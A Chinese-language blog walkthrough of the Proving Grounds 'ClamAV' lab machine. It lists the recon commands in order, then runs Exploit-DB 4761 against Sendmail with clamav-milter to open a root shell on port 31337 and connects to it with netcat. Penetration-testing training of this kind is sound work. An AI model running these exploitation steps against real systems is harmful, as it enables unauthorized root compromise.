Proving Grounds Practice : ClamAV Walkthrough

Proving Grounds Practice : ClamAV Walkthrough

- 3月 21, 2024

Proving Grounds Practice : ClamAV Walkthrough

Foothole (立足點 ) :

80 Port 網站逛了一圈沒發現，gobuster 也沒啥資訊
445 跑 enum4linux 也沒有啥鳥用
25 Port 使用的是 Sendmail 但事實上是因為有另一個套件叫做 clamAV 才有漏洞可以利用
依據 PoC 執行後開啟一個 31337 Port 的 Shell 可以進去

PE ( 提權 ) :

不用 PE，進去就是 Root

注意事項 :

枚舉、枚舉、枚舉很重要所以說三次
這一題很賤故意在 snmp 中讓你看 clamAV 的套件
名言 : 當你找不到洞的時候表示你枚舉不夠 SNMP 有開就一定有鬼，就看你有沒有辦法注意到

第一步 Rustscan，└─$ rustscan -a 192.168.194.42 --scripts none --ulimit 5000 | tee rustscan

snmp open，└─$ sudo nmap -sU -p 161 192.168.194.42 | tee snmp，有開就有看頭

nmap snmp 列舉加上 -sCV 再掃一次

└─$ sudo nmap -sCV -sU -p 161 192.168.194.42 | tee snmp

snmp check，└─$ snmp-check 192.168.194.42

Process 發現一個很特別的服務 clamav-milter

snmp extend MIB check，└─$ snmpwalk -v 1 -c public 192.168.194.42 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

看起來就是沒有裝 MIB

sudo apt-get install snmp-mibs-downloader 裝完再跑一次沒有啥發現

換這個試試看，└─$ snmpwalk -v 1 -c public 192.168.194.42 NET-SNMP-EXTEND-MIB::nsExtendObjects

也沒有啥發現

nmap，└─$ sudo nmap -sCV -A -p 22,25,80,139,199,445,60000 192.168.194.42 | tee nmap

25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3

80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux))

60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)

enum4linux，└─$ enum4linux -a 192.168.194.42 | tee enum4linux

80 /

很特別的網頁內容

轉換看看，轉換二進位 --> ifyoudontpwnmeuran0b

80 /robots.txt

gobuster，└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.194.42 -t 150 -k -x txt,pdf,git,php | tee gobuster

Searchsploit sendmail 沒有符合的版本但有看到一個 with clamav 4761 看來就是它了

因為在 snmp 有發現一樣的 Process，又是 RCE 當然要先試試看

Exploit DB 上還有看到 Metasploit，寫黑洞模式好特別

跑跑看，但是沒有結果

直接看 4761 的內容

內容看起來是用 25 Port 寄信進去然後用 root 權限開一個 31337 Port 的 /bin/sh Listener

4761 是個 pl 檔，那就直接 perl 跑跑看

告訴我們給他一個 host 連線

加上 IP 執行看看 └─$ perl 4761.pl 192.168.194.42

看起來有成功了

nmap 31337 Port 看看，看來有開

一開始的 rustscan 沒有這個 Port 現在有，表示 PoC 是成功的

直接 nc 帶參數 -nv 進去看看，whoami & id 看一下已經是 root 了

留言